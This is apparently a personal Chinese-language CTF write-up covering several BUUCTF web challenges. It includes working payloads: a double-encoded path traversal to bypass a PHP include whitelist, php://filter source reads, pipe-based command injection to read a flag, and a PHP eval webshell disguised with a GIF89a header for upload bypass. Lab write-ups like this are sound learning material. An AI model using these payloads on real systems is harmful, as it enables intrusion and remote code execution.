前言:今天感觉自己确实有点菜,想提高一下,就斗胆来buuctf论剑,哈哈哈!
[HCTF 2018]WarmUp
是关于php代码审计方面的
打开网站额,一个滑稽笑脸,别的啥都没有
看一下源码,
提示source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 一个白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { 说明不在白名单里面
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') 这个.就是链接上问好,然后输出问好前面的字符
);
if (in_array($_page, $whitelist)) { 不能输出,说明还是不在
return true;
}
$_page = urldecode($page); url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?') 解码以后说明里面会有一个问号,加上链接就有俩但是取前面第一个的位置比如 hint.php?fdffdf?
);
if (in_array($_page, $whitelist)) { 要在白名单里面绕过checkfile函数
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看见代码中还有hint.php那也看一下吧,
告诉了我们flag的位置 ,接着开始代码审核,记住从?url输入参数浏览器自带一次url解码
1.$_request['file']不为空
2.$_request['file']是字符串
3.上面定义的checkfile方法返回值为真
所以此时对于正常的file值,会截取其本身长度,不会产生影响。
但是这个时候如果我们在file内容中加入?,就能实现截断的效果,这个时候page将会验证?前方的str是否包含在array中,因此就能实现checkFile函数的绕过。
这个时候一定能过checkFile函数。
但是我们的include文件读取函数却是直接将file进行了读取,这个时候file的内容是无效的,因此什么东西也读不出来。
我们通过hint.php可以知道,flag隐藏在ffffllllaaaagggg中。
所以现在我们的目标是通过拼接的方式构造出读取flag的绕过姿势。
url里面我们比较常见的是#绕过,即#后面的内容不会被读取执行。
但是我们究竟该怎么样让前面的hint.php%253f不被放到include中影响我们flag的正常读取呢?
我们知道如果直接放入hint.php%253ffffllllaaaaggg会通过checkFile的验证返回true,但是毫无疑问这种错误的文件名是无法被include正确读取的。
这个时候我们就要用到一个关键符号:/
例如:include ‘wrongname/flag.txt’
wrongname无法被正确读取,这个时候/后面的flag.txt就会被include函数读取并解析。
因此我们可以构建payload:
http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/ffffllllaaaagggg
但是还是无法正确读取,为什么呢?
我们其实已经可以从flag的文件名猜出一些真相了。
我们需要将目录回退四次,就像这美妙的名字一样。
因此构建新的payload:
http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
?需要进行二次url编码,第一次是%3F 第二次%253f
[ACTF2020 新生赛]Include
这道题的核心就是文件包含include,
所以我就想到先用为协议读取
果然不出所料,url上面显眼的‘file=’就是我们想要的文件包含漏洞
以开始以为flag在其他漏洞,我先用file=php//input,再Post传参
但是当url后面接上file=php://input时,就直接给我返回了hacker页面,看来服务器是对input过滤了
那就用,filter读取协议
file=php://filter/resource=flag.php,读取,发现页面没变化,然后试一下编码
file=php://filter/read=convert.base64-encode/resource=flag.php
果然出来了
[ACTF2020 新生赛]Exec
打开界面一看感觉考察管道符之类的,命令注入题
知识点
1、命令注入我们要防备其对于一些符号的过滤导致我们不能成功注入,所以我们要多了解一些符号。
2、;直接分号分隔
管道符:作用和&一样。前面和后面命令都要执行,无论前面真假
3、| 按位或
作用是直接执行|后面的语句
4、|| 逻辑或
作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
5、& 按位与
&前面和后面命令都要执行,无论前面真假
6、&& 逻辑与
如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行
之后就 127.0.0.1|ls 发现出现index.php
然后查看上一层目录 127.0.0.1|ls ../../../ 看到了flag
127.0.0.1|cat ../../../flag 获得flag
[ACTF2020 新生赛]Upload
一道文件上传的题目,然后上传php,发现进行了前端限制只能上传jpg,png图片类型
所以我们先上传一个图片码,然后抓包该后缀就可以了
获取flag
拓展:.phtml文件好像可以上传,但是对文件内容做了校验,不允许出现<?,尝试更换一句话木马 不允许出现<?就需要一个标签来构造一句话木马
GIF89a//在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验
<script language="php">eval($_POST['shell']);</script>//一句话木马
看见了先记下,以后会用到!!!
[ACTF2020 新生赛]BackupFile
题目告诉我们说要找文件
用dirsearch试了一下,发现要好久,然后自己琢磨了试了一下各种备份文件结果试出来了
direarch -u 网址 -e*
打开
查看源码,抓包看,结果还是任何信息都没有,就需要用到扫目录的工具了
感觉是有备份文件存在,果不其然扫到了 index.php.bak,然后下载
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
终于看见了源码,然后就代码审核,这还是比较简单的,弱比较搞定,?key=123得到flag
知识点
这里时一个查找备份文件的知识点,备份文件后缀有
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html
继续加油